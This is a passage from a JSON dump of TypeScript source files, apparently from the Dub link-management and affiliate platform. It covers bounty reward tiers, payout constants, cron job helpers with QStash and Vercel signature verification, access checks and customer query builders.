) {\n        const status = socialMetricCount >= t ? \"met\" : \"unmet\";\n\n        tiers.push({\n          threshold: t,\n          rewardAmount: bonusPerIncrement,\n          status,\n        });\n\n        // Stop after first unmet\n        if (status === \"unmet\") {\n          break;\n        }\n      }\n    }\n  }\n\n  return tiers;\n}\n\nexport function calculateSocialMetricsRewardAmount({\n  bounty,\n  submission,\n}: {\n  bounty: BountyInfoInput | undefined | null;\n  submission: Pick<BountySubmissionProps, \"socialMetricCount\">;\n}) {\n  const tiers = getSocialMetricsRewardTiers({ bounty, submission });\n\n  if (tiers.length === 0 || submission.socialMetricCount == null) {\n    return null;\n  }\n\n  return tiers\n    .filter((tier) => tier.status === \"met\")\n    .reduce((sum, tier) => sum + tier.rewardAmount, 0);\n}\n\nexport function getBountyRewardDescription(\n  bounty: Pick<\n    BountyProps,\n    \"rewardAmount\" | \"rewardDescription\" | \"submissionRequirements\"\n  >,\n) {\n  const bountyInfo = resolveBountyDetails({\n    rewardAmount: bounty.rewardAmount,\n    submissionRequirements: bounty.submissionRequirements,\n  });\n\n  const socialMetrics = bountyInfo?.socialMetrics;\n  const incrementalBonus = socialMetrics?.incrementalBonus;\n\n  if (\n    incrementalBonus?.incrementCount &&\n    incrementalBonus?.bonusPerIncrement != null &&\n    incrementalBonus?.maxCount\n  ) {\n    const baseRewardCents = bounty.rewardAmount ?? 0;\n    const minCount = socialMetrics?.minCount ?? 0;\n\n    const incrementalCapCents =\n      Math.max(\n        0,\n        Math.floor(\n          (incrementalBonus.maxCount - minCount) /\n            incrementalBonus.incrementCount,\n        ),\n      ) * incrementalBonus.bonusPerIncrement;\n\n    const earningsCapCents = baseRewardCents + incrementalCapCents;\n\n    if (earningsCapCents > 0) {\n      const formattedEarningsCap = currencyFormatter(earningsCapCents, {\n        trailingZeroDisplay: \"stripIfInteger\",\n      });\n\n      return `Earn up to ${formattedEarningsCap}`;\n    }\n  }\n\n  if (bounty.rewardAmount) {\n    const formattedAmount = currencyFormatter(bounty.rewardAmount, {\n      trailingZeroDisplay: \"stripIfInteger\",\n    });\n\n    return `Earn ${formattedAmount}`;\n  }\n\n  if (bounty.rewardDescription) {\n    return bounty.rewardDescription;\n  }\n\n  return \"\";\n}\n"
  },
  {
    "path": "apps/web/lib/bounty/social-content.ts",
    "content": "import { PlatformType } from \"@dub/prisma/client\";\n\nexport const BOUNTY_SOCIAL_PLATFORMS = [\n  {\n    value: \"youtube\",\n    label: \"YouTube\",\n    postType: \"video\",\n    metrics: [\"views\", \"likes\"],\n    placeholder: \"https://www.youtube.com/watch?v=\",\n  },\n  {\n    value: \"tiktok\",\n    label: \"TikTok\",\n    postType: \"video\",\n    metrics: [\"views\", \"likes\"],\n    placeholder: \"https://www.tiktok.com/@username/video/\",\n  },\n  {\n    value: \"instagram\",\n    label: \"Instagram\",\n    postType: \"photo\",\n    metrics: [\"likes\", \"views\"],\n    placeholder: \"https://www.instagram.com/username/reel/\",\n  },\n  {\n    value: \"twitter\",\n    label: \"X/Twitter\",\n    postType: \"tweet\",\n    metrics: [\"likes\", \"views\"],\n    placeholder: \"https://x.com/username/status/\",\n  },\n  {\n    value: \"linkedin\",\n    label: \"LinkedIn\",\n    postType: \"post\",\n    metrics: [\"likes\"],\n    placeholder: \"https://www.linkedin.com/posts/\",\n  },\n] as const;\n\nexport const BOUNTY_SOCIAL_PLATFORM_VALUES = BOUNTY_SOCIAL_PLATFORMS.map(\n  (p) => p.value,\n);\n\nexport const BOUNTY_SOCIAL_PLATFORM_METRICS = BOUNTY_SOCIAL_PLATFORMS.map(\n  (p) => p.metrics,\n).flat();\n\nexport const BOUNTY_SOCIAL_PLATFORM_METRICS_MAP = Object.fromEntries(\n  BOUNTY_SOCIAL_PLATFORMS.map((p) => [\n    p.value,\n    p.metrics.map((m) => ({\n      value: m,\n      label: m,\n    })),\n  ]),\n);\n\nexport const SOCIAL_URL_HOST_TO_PLATFORM: Record<string, PlatformType> = {\n  \"youtube.com\": \"youtube\",\n  \"m.youtube.com\": \"youtube\",\n  \"youtu.be\": \"youtube\",\n  \"tiktok.com\": \"tiktok\",\n  \"m.tiktok.com\": \"tiktok\",\n  \"vm.tiktok.com\": \"tiktok\",\n  \"instagram.com\": \"instagram\",\n  \"m.instagram.com\": \"instagram\",\n  \"twitter.com\": \"twitter\",\n  \"x.com\": \"twitter\",\n  \"linkedin.com\": \"linkedin\",\n  \"www.linkedin.com\": \"linkedin\",\n};\n"
  },
  {
    "path": "apps/web/lib/bounty/submission-status.ts",
    "content": "import {\n  CircleCheck,\n  CircleDotted,\n  CircleHalfDottedCheck,\n  CircleHalfDottedClock,\n  CircleXmark,\n  Lock,\n} from \"@dub/ui/icons\";\n\nexport const BOUNTY_SUBMISSION_STATUS_BADGES = {\n  notSubmitted: {\n    label: \"Not submitted\",\n    variant: \"neutral\",\n    icon: CircleDotted,\n    iconClassName: \"text-neutral-700\",\n  },\n  notOpen: {\n    label: \"Not open\",\n    variant: \"neutral\",\n    icon: Lock,\n    iconClassName: \"text-neutral-700\",\n  },\n  draft: {\n    label: \"In progress\",\n    variant: \"pending\",\n    icon: CircleHalfDottedCheck,\n    iconClassName: \"text-orange-600\",\n  },\n  submitted: {\n    label: \"Submitted\",\n    variant: \"new\",\n    icon: CircleHalfDottedClock,\n    iconClassName: \"text-blue-600\",\n  },\n  approved: {\n    label: \"Approved\",\n    variant: \"success\",\n    icon: CircleCheck,\n    iconClassName: \"text-green-600\",\n  },\n  rejected: {\n    label: \"Rejected\",\n    variant: \"error\",\n    icon: CircleXmark,\n    iconClassName: \"text-red-600\",\n  },\n} as const;\n"
  },
  {
    "path": "apps/web/lib/bounty/utils.ts",
    "content": "import { Prisma } from \"@dub/prisma/client\";\nimport { bountySocialContentRequirementsSchema } from \"../zod/schemas/bounties\";\nimport { BOUNTY_SOCIAL_PLATFORMS } from \"./social-content\";\n\ninterface BountyInfoInput {\n  submissionRequirements?: Prisma.JsonValue | undefined | null;\n  rewardAmount?: number | undefined | null;\n}\n\nexport function resolveBountyDetails(\n  bounty: BountyInfoInput | undefined | null,\n) {\n  if (!bounty) {\n    return null;\n  }\n\n  // Social metrics requirements\n  const submissionRequirements = bounty.submissionRequirements as {\n    socialMetrics?: unknown | Prisma.JsonValue | undefined | null;\n  };\n\n  const parsedSocialMetrics = bountySocialContentRequirementsSchema\n    .optional()\n    .safeParse(submissionRequirements?.socialMetrics);\n\n  const socialMetrics = parsedSocialMetrics.success\n    ? parsedSocialMetrics.data\n    : null;\n\n  // Identify the social platform\n  const socialPlatform = BOUNTY_SOCIAL_PLATFORMS.find(\n    ({ value }) => value === socialMetrics?.platform,\n  );\n\n  return {\n    ...bounty,\n    socialPlatform,\n    socialMetrics,\n    hasSocialMetrics: socialMetrics != null,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/client-access-check.ts",
    "content": "import { WorkspaceRole } from \"@dub/prisma/client\";\nimport { combineWords } from \"@dub/utils\";\nimport { PermissionAction, ROLE_PERMISSIONS } from \"./api/rbac/permissions\";\n\nexport const clientAccessCheck = ({\n  action,\n  role,\n  customPermissionDescription,\n}: {\n  action: PermissionAction;\n  role: WorkspaceRole;\n  customPermissionDescription?: string;\n}) => {\n  const permission = ROLE_PERMISSIONS.find((p) => p.action === action)!;\n  const allowedWorkspaceRoles = permission.roles;\n  const allowed = allowedWorkspaceRoles.includes(role);\n\n  if (allowed) {\n    return {\n      allowed,\n      error: false,\n    };\n  }\n\n  return {\n    allowed,\n    error: `Only workspace ${combineWords(allowedWorkspaceRoles.map((r) => `${r === \"billing\" ? \"billing user\" : r}s`))} can ${customPermissionDescription || permission.description}.`,\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/constants/misc.ts",
    "content": "export const REFERRALS_EMBED_EARNINGS_LIMIT = 8;\nexport const CUSTOMER_PAGE_EVENTS_LIMIT = 8;\nexport const MEGA_WORKSPACE_LINKS_LIMIT = 1_000_000;\nexport const MIN_PAYOUT_AMOUNT_FOR_REMINDERS = 10_00;\n"
  },
  {
    "path": "apps/web/lib/constants/notification-preferences.ts",
    "content": "// User-level notification preferences for email communications\nexport const NOTIFICATION_PREFERENCE_TYPES = [\n  \"dubLinks\", // Dub Links product updates on app.dub.co\n  \"dubPartners\", // Dub Partners product updates on app.dub.co\n  \"partnerAccount\", // Updates to partner accounts on partners.dub.co\n] as const;\n\nexport type NotificationPreferenceType =\n  (typeof NOTIFICATION_PREFERENCE_TYPES)[number];\n\n// Mapping from preference type to UserNotificationPreferences schema field names\n// (1:1 mapping since we're using the same names as the schema)\nexport const NOTIFICATION_PREFERENCE_FIELD_MAP: Record<\n  NotificationPreferenceType,\n  \"dubLinks\" | \"dubPartners\" | \"partnerAccount\"\n> = {\n  dubLinks: \"dubLinks\",\n  dubPartners: \"dubPartners\",\n  partnerAccount: \"partnerAccount\",\n};\n\n// Default all preferences to true (opted in)\nexport const DEFAULT_NOTIFICATION_PREFERENCES: Record<\n  NotificationPreferenceType,\n  boolean\n> = {\n  dubLinks: true,\n  dubPartners: true,\n  partnerAccount: true,\n};\n\nexport const NOTIFICATION_PREFERENCE_LABELS: Record<\n  NotificationPreferenceType,\n  { title: string; description: string; link: string }\n> = {\n  dubLinks: {\n    title: \"Dub Links\",\n    description:\n      \"New Dub Links features and guides on how to manage and track your links\",\n    link: \"https://dub.co/links\",\n  },\n  dubPartners: {\n    title: \"Dub Partners\",\n    description:\n      \"New Dub Partners features and tips on how to grow your affiliate program\",\n    link: \"https://dub.co/partners\",\n  },\n  partnerAccount: {\n    title: \"Partner Account\",\n    description:\n      \"New program launches, feature updates, and tutorials on how to succeed as a partner\",\n    link: \"https://partners.dub.co\",\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/constants/partner-profile.ts",
    "content": "import { ACME_PROGRAM_ID } from \"@dub/utils\";\n\nexport const MAX_INVITES_PER_REQUEST = 5;\nexport const MAX_PARTNER_USERS = 10;\nexport const MAX_PARTNER_LINKS_FOR_LOCAL_FILTERING = 100; // if over 100 links we should filter on TB directly\n\nexport const LARGE_PROGRAM_IDS = [\"prog_1K0QHV7MP3PR05CJSCF5VN93X\"];\nexport const LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS = 500000; // $5000\n\nexport const EXCLUDED_PROGRAM_IDS = [\n  ACME_PROGRAM_ID,\n  \"prog_1K0QHV7MP3PR05CJSCF5VN93X\",\n  \"prog_1JWVR53QX1NM7NDEK62E3J19H\",\n];\nexport const PARTNER_NETWORK_MIN_COMMISSIONS_CENTS = 10_00; // $10\n\nexport const PARTNER_CUSTOMERS_MAX_PAGE_SIZE = 100;\n"
  },
  {
    "path": "apps/web/lib/constants/payouts-supported-countries.ts",
    "content": "import {\n  CONNECT_SUPPORTED_COUNTRIES,\n  COUNTRIES,\n  PAYPAL_SUPPORTED_COUNTRIES,\n  STABLECOIN_SUPPORTED_COUNTRIES,\n} from \"@dub/utils\";\nimport { getPayoutMethodsForCountry } from \"../partners/get-payout-methods-for-country\";\n\nexport const PAYOUT_SUPPORTED_COUNTRIES = [\n  ...new Set([\n    ...STABLECOIN_SUPPORTED_COUNTRIES,\n    ...CONNECT_SUPPORTED_COUNTRIES,\n    ...PAYPAL_SUPPORTED_COUNTRIES,\n  ]),\n]\n  .sort((a, b) => COUNTRIES[a].localeCompare(COUNTRIES[b]))\n  .map((code) => ({\n    code,\n    name: COUNTRIES[code],\n    methods: getPayoutMethodsForCountry({ country: code }),\n  }));\n"
  },
  {
    "path": "apps/web/lib/constants/payouts.ts",
    "content": "import Stripe from \"stripe\";\nimport { PaymentMethodOption } from \"../types\";\n\nexport const PAYOUT_HOLDING_PERIOD_DAYS = [0, 7, 14, 30, 60, 90];\nexport const ALLOWED_MIN_PAYOUT_AMOUNTS = [0, 1000, 2000, 5000, 10000];\n\nexport const PAYOUTS_SHEET_ITEMS_LIMIT = 10;\nexport const ELIGIBLE_PAYOUTS_MAX_PAGE_SIZE = 500;\nexport const CUTOFF_PERIOD_MAX_PAYOUTS = 1000;\n\nexport const STABLECOIN_PAYOUT_FEE_RATE = 0.005; // 0.5%\nexport const FAST_ACH_FEE_CENTS = 2500; // $25\nexport const PAYOUT_FAILURE_FEE_CENTS = 1000; // 10 USD\nexport const FOREX_MARKUP_RATE = 0.005; // 0.5%\n\nexport const INVOICE_MIN_PAYOUT_AMOUNT_CENTS = 1000; // $10\nexport const MIN_WITHDRAWAL_AMOUNT_CENTS = 1000; // $10\nexport const BELOW_MIN_WITHDRAWAL_FEE_CENTS = 50; // $0.50\nexport const MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS = 100; // $1 (doesn't make sense to force a withdrawal for less than $1)\n\n// Direct debit payment types for Partner payout\nexport const DIRECT_DEBIT_PAYMENT_TYPES_INFO: {\n  type: Stripe.PaymentMethod.Type;\n  location: string;\n  title: string;\n  icon: string;\n  option: PaymentMethodOption;\n  recommended?: boolean;\n  enterpriseOnly?: boolean;\n}[] = [\n  {\n    type: \"us_bank_account\",\n    location: \"US\",\n    title: \"ACH\",\n    icon: \"https://hatscripts.github.io/circle-flags/flags/us.svg\",\n    option: {},\n    recommended: true,\n  },\n  {\n    type: \"acss_debit\",\n    location: \"CA\",\n    title: \"ACSS Debit\",\n    icon: \"https://hatscripts.github.io/circle-flags/flags/ca.svg\",\n    option: {\n      currency: \"cad\",\n      mandate_options: {\n        payment_schedule: \"sporadic\",\n        transaction_type: \"business\",\n      },\n    },\n  },\n  {\n    type: \"sepa_debit\",\n    location: \"EU\",\n    title: \"SEPA Debit\",\n    icon: \"https://hatscripts.github.io/circle-flags/flags/eu.svg\",\n    option: {},\n    enterpriseOnly: true,\n  },\n];\n\nexport const DIRECT_DEBIT_PAYMENT_METHOD_TYPES: Stripe.PaymentMethod.Type[] = [\n  \"us_bank_account\",\n  \"acss_debit\",\n  \"sepa_debit\",\n];\n\nexport const PAYMENT_METHOD_TYPES: Stripe.PaymentMethod.Type[] = [\n  \"card\",\n  \"link\",\n  ...DIRECT_DEBIT_PAYMENT_METHOD_TYPES,\n];\n\nexport const STRIPE_PAYMENT_METHOD_NORMALIZATION = {\n  card: \"card\",\n  link: \"card\",\n  us_bank_account: \"ach\",\n  acss_debit: \"acss\",\n  sepa_debit: \"sepa\",\n} as const;\n\nexport const INVOICE_PAYMENT_METHODS = Object.freeze({\n  card: {\n    label: \"Card\",\n    duration: \"Instantly\",\n  },\n  ach: {\n    label: \"ACH\",\n    duration: \"4 business days\",\n  },\n  ach_fast: {\n    label: \"Fast ACH\",\n    duration: \"2 business days\",\n  },\n  sepa: {\n    label: \"SEPA Debit\",\n    duration: \"5 business days\",\n  },\n  acss: {\n    label: \"ACSS Debit\",\n    duration: \"5 business days\",\n  },\n});\n\nexport const INVOICE_AVAILABLE_PAYOUT_STATUSES = [\n  \"processed\",\n  \"sent\",\n  \"completed\",\n];\n\nconst VERIFIED_BANK_ACCOUNT_DESCRIPTION = {\n  title: \"Verified bank account\",\n  description:\n    \"This bank account is successfully verified and ready to receive payouts.\",\n  variant: \"valid\" as const,\n};\n\nexport const BANK_ACCOUNT_STATUS_DESCRIPTIONS: Record<\n  string,\n  { title: string; description: string; variant: \"valid\" | \"invalid\" }\n> = {\n  verified: VERIFIED_BANK_ACCOUNT_DESCRIPTION,\n  new: VERIFIED_BANK_ACCOUNT_DESCRIPTION,\n  validated: VERIFIED_BANK_ACCOUNT_DESCRIPTION,\n  verification_failed: {\n    title: \"Verification failed\",\n    description:\n      \"Bank account verification failed (e.g., microdeposit failure). Please update your bank account details to continue receiving payouts.\",\n    variant: \"invalid\",\n  },\n  tokenized_account_number_deactivated: {\n    title: \"Tokenized account deactivated\",\n    description:\n      \"The account uses a tokenized account number that has been deactivated due to expiration or revocation. Please reverify your bank account to continue receiving payouts.\",\n    variant: \"invalid\",\n  },\n  errored: {\n    title: \"Bank account error\",\n    description:\n      \"A payout sent to this bank account failed. Please update your bank account details to continue receiving payouts.\",\n    variant: \"invalid\",\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/constants/program.ts",
    "content": "import { ACME_PROGRAM_ID } from \"@dub/utils\";\n\nexport const PROGRAM_ONBOARDING_PARTNERS_LIMIT = 5;\nexport const MAX_PARTNERS_INVITES_PER_REQUEST = 50;\n\nexport const MAX_PROGRAM_CATEGORIES = 3;\nexport const PROGRAM_SIMILARITY_SCORE_THRESHOLD = 0.3;\n\nexport const PROGRAM_IMPORT_SOURCES = [\n  {\n    id: \"rewardful\",\n    value: \"Rewardful\",\n    image: \"https://assets.dub.co/misc/icons/rewardful.svg\",\n    helpUrl: \"https://dub.co/help/article/migrating-from-rewardful\",\n  },\n  {\n    id: \"tolt\",\n    value: \"Tolt\",\n    image: \"https://assets.dub.co/misc/icons/tolt.svg\",\n    helpUrl: \"https://dub.co/help/article/migrating-from-tolt\",\n  },\n  {\n    id: \"partnerstack\",\n    value: \"PartnerStack\",\n    image: \"https://assets.dub.co/misc/icons/partnerstack.svg\",\n    helpUrl: \"https://dub.co/help/article/migrating-from-partnerstack\",\n  },\n  {\n    id: \"firstpromoter\",\n    value: \"FirstPromoter\",\n    image: \"https://assets.dub.co/misc/icons/firstpromoter.svg\",\n    helpUrl: \"https://dub.co/help/article/migrating-from-firstpromoter\",\n  },\n] as const;\n\nexport const PROGRAM_APPLICATION_IMAGE_MAX_FILE_SIZE_MB = 5;\n\nexport const PROGRAM_APPLICATION_IMAGE_ALLOWED_TYPES = [\n  \"image/jpeg\",\n  \"image/png\",\n  \"image/webp\",\n] as const;\n\nexport const PROGRAM_APPLICATION_IMAGE_ALLOWED_TYPES_LABEL = \"JPG, PNG, WebP\";\n\nexport const EXTERNAL_PAYOUTS_PROGRAM_IDS = [\n  ACME_PROGRAM_ID, // Acme\n  \"prog_1JWVR53QX1NM7NDEK62E3J19H\", // Polymarket\n];\n"
  },
  {
    "path": "apps/web/lib/cron/enqueue-batch-jobs.ts",
    "content": "import { log } from \"@dub/utils\";\nimport type { PublishBatchRequest } from \"@upstash/qstash\";\nimport { qstash } from \".\";\n\ntype EnqueueBatchJobsProps = PublishBatchRequest<unknown> & {\n  queueName:\n    | \"ban-partner\"\n    | \"send-partner-summary\"\n    | \"create-discount-code\"\n    | \"sync-bounty-social-metrics\";\n};\n\n// Generic helper to enqueue a batch of QStash jobs.\nexport async function enqueueBatchJobs(jobs: EnqueueBatchJobsProps[]) {\n  try {\n    const result = await qstash.batchJSON(jobs);\n\n    if (process.env.NODE_ENV === \"development\") {\n      console.info(\n        `[enqueueBatchJobs] ${result.length} batch jobs enqueued successfully.`,\n        {\n          jobs,\n        },\n      );\n    }\n\n    return result;\n  } catch (error) {\n    console.error(\"[enqueueBatchJobs] Failed to enqueue batch jobs\", {\n      error: JSON.stringify(error, null, 2),\n      jobs,\n    });\n\n    await log({\n      message: `[enqueueBatchJobs] Failed to enqueue batch jobs: ${JSON.stringify(error, null, 2)}`,\n      type: \"errors\",\n      mention: true,\n    });\n\n    throw new Error(\n      `Failed to enqueue batch jobs: ${JSON.stringify(error, null, 2)}`,\n    );\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/cron/index.ts",
    "content": "import { Client } from \"@upstash/qstash\";\n\nexport const qstash = new Client({\n  token: process.env.QSTASH_TOKEN || \"\",\n});\n\n// Default batch size for cron jobs that process records in batches\nexport const CRON_BATCH_SIZE = 100;\n"
  },
  {
    "path": "apps/web/lib/cron/limiter.ts",
    "content": "import Bottleneck from \"bottleneck\";\n\nexport const limiter = new Bottleneck({\n  maxConcurrent: 1, // maximum concurrent requests\n  minTime: 100, // minimum time between requests in ms\n});\n"
  },
  {
    "path": "apps/web/lib/cron/qstash-workflow-logger.ts",
    "content": "type LogData = {\n  message: string;\n  data?: Record<string, any>;\n};\n\ntype ErrorData = {\n  message: string;\n  error?: any;\n  data?: Record<string, any>;\n};\n\n// Create a context-aware logger factory\nexport function createWorkflowLogger({\n  workflowId,\n  workflowRunId,\n}: {\n  workflowId: string;\n  workflowRunId: string;\n}) {\n  return {\n    info: ({ message, data }: LogData) => {\n      console.info(`[Upstash Workflow:${workflowId}] ${message}`, {\n        workflowRunId,\n        ...data,\n      });\n    },\n\n    error: ({ message, error, data }: ErrorData) => {\n      console.error(`[Upstash Workflow:${workflowId}] ${message}`, {\n        workflowRunId,\n        error: error?.message || error,\n        ...data,\n      });\n    },\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/cron/qstash-workflow.ts",
    "content": "import { APP_DOMAIN_WITH_NGROK, log } from \"@dub/utils\";\nimport { Client } from \"@upstash/workflow\";\n\nconst client = new Client({\n  token: process.env.QSTASH_TOKEN || \"\",\n});\n\nconst WORKFLOW_RETRIES = 3;\nconst WORKFLOW_PARALLELISM = 20;\n\ntype WorkflowIds = \"partner-approved\";\n\ninterface QStashWorkflow {\n  workflowId: WorkflowIds;\n  body?: Record<string, unknown>;\n}\n\n// Run workflows\nexport async function triggerWorkflows(\n  input: QStashWorkflow | QStashWorkflow[],\n) {\n  try {\n    const workflows = Array.isArray(input) ? input : [input];\n\n    const results = await client.trigger(\n      workflows.map((workflow) => ({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/workflows/${workflow.workflowId}`,\n        body: workflow.body,\n        retries: WORKFLOW_RETRIES,\n        flowControl: {\n          key: workflow.workflowId,\n          parallelism: WORKFLOW_PARALLELISM,\n        },\n      })),\n    );\n\n    if (process.env.NODE_ENV === \"development\") {\n      console.debug(\"[Upstash] Workflows triggered\", {\n        count: workflows.length,\n        ids: workflows.map((w) => w.workflowId),\n        results,\n      });\n    }\n\n    return results;\n  } catch (error) {\n    const message =\n      error instanceof Error ? error.message : JSON.stringify(error);\n\n    console.error(\"[Upstash] Failed to trigger workflows\", {\n      error: message,\n      input,\n    });\n\n    await log({\n      message: `[Upstash] Failed to trigger QStash workflows. ${message}`,\n      type: \"errors\",\n    });\n\n    return null;\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/cron/send-limit-email.ts",
    "content": "import { sendBatchEmail } from \"@dub/email\";\nimport ClicksExceeded from \"@dub/email/templates/clicks-exceeded\";\nimport LinksLimitAlert from \"@dub/email/templates/links-limit\";\nimport { prisma } from \"@dub/prisma\";\nimport { WorkspaceProps } from \"../types\";\n\nexport const sendLimitEmail = async ({\n  emails,\n  workspace,\n  type,\n}: {\n  emails: string[];\n  workspace: WorkspaceProps;\n  type:\n    | \"firstUsageLimitEmail\"\n    | \"secondUsageLimitEmail\"\n    | \"firstLinksLimitEmail\"\n    | \"secondLinksLimitEmail\";\n}) => {\n  const percentage = Math.round(\n    (workspace.linksUsage / workspace.linksLimit) * 100,\n  );\n\n  return await Promise.allSettled([\n    sendBatchEmail(\n      emails.map((email) => ({\n        subject: type.endsWith(\"UsageLimitEmail\")\n          ? \"Dub Alert: Clicks Limit Exceeded\"\n          : `Dub Alert: ${workspace.name} has used ${percentage.toString()}% of its links limit for the month.`,\n        to: email,\n        react: type.endsWith(\"UsageLimitEmail\")\n          ? ClicksExceeded({\n              email,\n              workspace,\n              type: type as \"firstUsageLimitEmail\" | \"secondUsageLimitEmail\",\n            })\n          : LinksLimitAlert({\n              email,\n              workspace,\n            }),\n        variant: \"notifications\",\n      })),\n    ),\n    prisma.sentEmail.create({\n      data: {\n        projectId: workspace.id,\n        type,\n      },\n    }),\n  ]);\n};\n"
  },
  {
    "path": "apps/web/lib/cron/verify-qstash.ts",
    "content": "import { log } from \"@dub/utils\";\nimport { Receiver } from \"@upstash/qstash\";\nimport { DubApiError } from \"../api/errors\";\n\n// we're using Upstash's Receiver to verify the request signature\nconst receiver = new Receiver({\n  currentSigningKey: process.env.QSTASH_CURRENT_SIGNING_KEY || \"\",\n  nextSigningKey: process.env.QSTASH_NEXT_SIGNING_KEY || \"\",\n});\n\nexport const verifyQstashSignature = async ({\n  req,\n  rawBody,\n}: {\n  req: Request;\n  rawBody: string; // Make sure to pass the raw body not the parsed JSON\n}) => {\n  // skip verification in local development\n  if (process.env.VERCEL !== \"1\") {\n    return;\n  }\n\n  const signature = req.headers.get(\"Upstash-Signature\");\n\n  if (!signature) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"Upstash-Signature header not found.\",\n    });\n  }\n\n  const isValid = await receiver.verify({\n    signature,\n    body: rawBody,\n  });\n\n  if (!isValid) {\n    const url = req.url;\n    const messageId = req.headers.get(\"Upstash-Message-Id\");\n\n    log({\n      message: `Invalid QStash request signature: *${url}* - *${messageId}*`,\n      type: \"errors\",\n      mention: true,\n    });\n\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"Invalid QStash request signature.\",\n    });\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/cron/verify-vercel.ts",
    "content": "import { DubApiError } from \"../api/errors\";\n\nexport const verifyVercelSignature = async (req: Request) => {\n  // skip verification in local development\n  if (process.env.VERCEL !== \"1\") {\n    return;\n  }\n\n  const authHeader = req.headers.get(\"authorization\");\n\n  if (\n    !process.env.CRON_SECRET ||\n    authHeader !== `Bearer ${process.env.CRON_SECRET}`\n  ) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"Invalid Vercel cron request signature\",\n    });\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/cron/with-cron.ts",
    "content": "import { APP_DOMAIN_WITH_NGROK, getSearchParams, log } from \"@dub/utils\";\nimport { logAndRespond } from \"app/(ee)/api/cron/utils\";\nimport { logger, withAxiomBodyLog } from \"../axiom/server\";\nimport { verifyQstashSignature } from \"./verify-qstash\";\nimport { verifyVercelSignature } from \"./verify-vercel\";\n\ninterface WithCronHandler {\n  ({\n    req,\n    params,\n    searchParams,\n    rawBody,\n  }: {\n    req: Request;\n    params: Record<string, string>;\n    searchParams: Record<string, string>;\n    rawBody: string;\n  }): Promise<Response>;\n}\n\nexport const withCron = (handler: WithCronHandler) => {\n  return withAxiomBodyLog(\n    async (\n      req,\n      { params: initialParams }: { params: Promise<Record<string, string>> },\n    ) => {\n      // Clone the request early so handlers can read the body without cloning\n      // Keep the original for withAxiomBodyLog to read in onSuccess\n      const clonedReq = req.clone();\n\n      const params = (await initialParams) || {};\n      const searchParams = getSearchParams(req.url);\n      const url = new URL(req.url || \"\", APP_DOMAIN_WITH_NGROK);\n\n      try {\n        let rawBody: string | undefined;\n\n        // Verify signature based on HTTP method\n        if (req.method === \"GET\") {\n          // GET requests are typically from Vercel Cron\n          await verifyVercelSignature(req);\n        } else if (req.method === \"POST\") {\n          // POST requests are typically from QStash\n          rawBody = await clonedReq.text();\n          await verifyQstashSignature({ req, rawBody });\n        } else {\n          throw new Error(`Unsupported HTTP method: ${req.method}`);\n        }\n\n        return await handler({\n          req: clonedReq,\n          searchParams,\n          params,\n          rawBody: rawBody ?? \"\",\n        });\n      } catch (error) {\n        console.error(error);\n\n        const errorMessage =\n          error instanceof Error ? error.message : String(error);\n\n        // Send error to Axiom\n        logger.error(errorMessage, error);\n        await logger.flush();\n\n        await log({\n          message: `Cron job \"${url.pathname}\" failed during execution. Error: ${errorMessage}`,\n          type: \"errors\",\n        });\n\n        return logAndRespond(errorMessage, { status: 500 });\n      }\n    },\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/customers/api/customer-count-where.ts",
    "content": "import { getCustomersCountQuerySchema } from \"@/lib/zod/schemas/customers\";\nimport { sanitizeFullTextSearch } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\n\ntype CustomerCountFilters = z.infer<typeof getCustomersCountQuerySchema> & {\n  workspaceId: string;\n};\n\nexport function buildCustomerCountWhere(filters: CustomerCountFilters) {\n  const {\n    programId,\n    partnerId,\n    workspaceId,\n    email,\n    externalId,\n    search,\n    country,\n    linkId,\n    groupBy,\n  } = filters;\n\n  const customerWhereInput: Prisma.CustomerWhereInput = {\n    ...(programId && {\n      programId,\n    }),\n    ...(partnerId && {\n      partnerId,\n    }),\n    projectId: workspaceId,\n    ...(email\n      ? { email }\n      : externalId\n        ? { externalId }\n        : search\n          ? search.includes(\"@\")\n            ? { email: search }\n            : {\n                email: { search: sanitizeFullTextSearch(search) },\n                name: { search: sanitizeFullTextSearch(search) },\n              }\n          : {}),\n    // only filter by country if not grouping by country\n    ...(country &&\n      groupBy !== \"country\" && {\n        country,\n      }),\n    // only filter by linkId if not grouping by linkId\n    ...(linkId &&\n      groupBy !== \"linkId\" && {\n        linkId,\n      }),\n  };\n\n  return customerWhereInput;\n}\n"
  },
  {
    "path": "apps/web/lib/customers/api/fetch-customers-batch.ts",
    "content": "import { getCustomers } from \"@/lib/customers/api/get-customers\";\nimport { customersExportCronInputSchema } from \"@/lib/zod/schemas/customers\";\nimport * as z from \"zod/v4\";\n\ntype CustomersExportFilters = z.infer<typeof customersExportCronInputSchema>;\n\nexport async function* fetchCustomersBatch(\n  filters: CustomersExportFilters,\n  pageSize: number = 1000,\n) {\n  const { columns: _columns, ...filtersRest } = filters;\n\n  let page = 1;\n  let hasMore = true;\n\n  while (hasMore) {\n    const customers = await getCustomers({\n      ...filtersRest,\n      page,\n      pageSize,\n      includeExpandedFields: true,\n    });\n\n    if (customers.length > 0) {\n      yield { customers };\n      page++;\n      hasMore = customers.length === pageSize;\n    } else {\n      hasMore = false;\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/customers/api/format-customers-export.ts",
